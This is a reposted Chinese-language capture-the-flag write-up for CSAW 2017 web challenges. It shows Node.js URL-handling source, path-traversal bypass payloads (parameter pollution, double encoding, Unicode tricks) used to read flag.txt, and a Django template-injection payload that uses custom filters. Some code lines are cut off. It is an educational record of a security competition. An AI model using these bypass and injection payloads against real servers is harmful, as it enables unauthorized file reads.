CSAW2017_CTF_Web_Writeup

转载

dengzhasong7076 于 2017-09-18 20:44:00 发布 142 收藏
文章标签： python
原文链接：http://www.cnblogs.com/iamstudy/articles/csaw_2017_web_writeup.html

前言

还比较忙，还有题目得明天跟一下。

orange 系列

v1
http://web.chal.csaw.io:7311/?path=orange.txt
v3
http://web.chal.csaw.io:7312/?path=orange.txt

说实话是比较迷的，因为有意外解，导致他开始是400分，后面变成100分，最后出v3版本才是300分。

不过考点是nodejs常用的一个库，对url处理出现的问题，还是比较实用的一个。

v1

```
var http = require('http');
var fs = require('fs');
var url = require('url');

var server = http.createServer(function(req, res) {
    try {
        var path = url.parse(req.url, true).query;
        path = path['path'];
        if (path.indexOf("..") == -1 && path.indexOf("ＮＮ") == -1) {
            var base = "http://localhost:8080/poems/";
            var callback = function(response){
                var str = '';
                response.on('data', function (chunk) {
                    str += chunk;
                });
                response.on('end', function () {
                  res.end(str);
                });
            }
            http.get(base + path, callback).end();
        } else {
            res.writeHead(403);
            res.end("WHOA THATS BANNED!!!!");
        }
    }
    catch (e) {
        res.writeHead(404);
        res.end('Oops');
    }
});
server.listen(9999);
```

解法一：参数污染，因为多个path，最后会以逗号连接起来所有的参数值
http://web.chal.csaw.io:7311/?path=./&path=&path=/../../flag.txt

解法二：最后看源码的时候开业发现，里面还有一次http请求，所以也是可以利用二次url编码进行绕过
http://web.chal.csaw.io:7311/?path=%252e%252e\flag.txt

解法三：是看到这个orange的paper，终于明白为啥题目要叫orange....
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

```
http://web.chal.csaw.io:7311/?path=Ｎ./flag.txt
```

---

v3

```
var http = require('http');
var fs = require('fs');
var url = require('url');

var server = http.createServer(function(req, res) {
    try {
        var path = url.parse(req.url, true).query;
        path = path['path'];
        var no_ext = path.substring(0, path.length - 4);
        var ext = path.substring(path.length - 4, path.length);
        console.log(path);
        console.log(no_ext);
        console.log(ext);
        if (no_ext.indexOf(".") == -1 && path.indexOf("ï¼®") == -1 && path.indexOf("%") == -1 && ext == '.t
            var base = "http://localhost:8080/poems/";
            var callback = function(response){
                var str = '';
                response.on('data', function (chunk) {
                    str += chunk;
                });
                response.on('end', function () {
                  res.end(str);
                });
            }
            http.get(base + path, callback).end();
        } else {
            res.writeHead(403);
            res.end("WHOA THATS BANNED!!!!");
        }
    }
    catch (e) {
        res.writeHead(404);
        res.end('Oops');
    }
});
server.listen(9999);
```

V3进行升级了，对前面都进行限制，通过fuzz还是可以列取目录的，利用了？ #字符

```
http://web.chal.csaw.io:7312/?path=%3f/orange.txt
```

另外一个师傅做出来的，大概是fuzz到一个可以替代.的字符，

```
http://web.chal.csaw.io:7312/?path=%E4%B8%AE%E4%B8%AE/flag.txt
```

Shia Labeouf-off!

http://web.chal.csaw.io:5488/ad-lib/

django的一个题目，是一个format的模板注入，开启debug模式

通过报错得到源码，也知道一个mrpoopy对象

```
def index(request):
    global obj
    if request.method == "POST":
        data = request.POST.get('formatdata', '')
        template_data = TEMP.format(data.replace("noun", "noun|safe").replace("verb", "verb|safe").replace(
        template = Template(template_data) ...
        context = RequestContext(request, {
            'noun': '<img src="https://media0.giphy.com/media/arNexgslLkqVq/200.webp#70-grid1" />',
            'verb': '<img src="https://media3.giphy.com/media/R0vQH2T9T4zza/200.webp#165-grid1" />',
            'adjective': '<img src="https://media1.giphy.com/media/TxXhUgEUWWL6/200.webp#129-grid1" />',
            'mrpoopy': obj
        })
```

然后找资料看到p师傅的一篇文章，https://xianzhi.aliyun.com/forum/read/615.html

主要是可以利用全局request对象往上翻到key，但是题目并不能解决，猜想可能是因为匿名用户的原因，导致其他对象是None的

后面就是通过polls的报错得到一个信息

http://web.chal.csaw.io:5487/polls/3/

```
./polls/templatetags/pools_extras.py in checknum
@register.filter(name='getme')
def getme(value, arg):
  return getattr(value, arg)
@register.filter(name='checknum')
def checknum(value):
  check(value) ...
@register.filter(name='listme')
def listme(value):
  return dir(value)
def check(value):

./polls/templatetags/pools_extras.py in check
@register.filter(name='listme')
def listme(value):
  return dir(value)
def check(value):
  if value > 2:
    raise Exception("Our infrastructure can't support that many Shias!")
```

也就是可以利用listme来列取当前变量，然后getme可以获取值

需要了解一下模板语法:
https://docs.djangoproject.com/en/1.11/ref/templates/

```
{{mrpoopy|getme:"__flag__"}}
```

转载于:https://www.cnblogs.com/iamstudy/articles/csaw_2017_web_writeup.html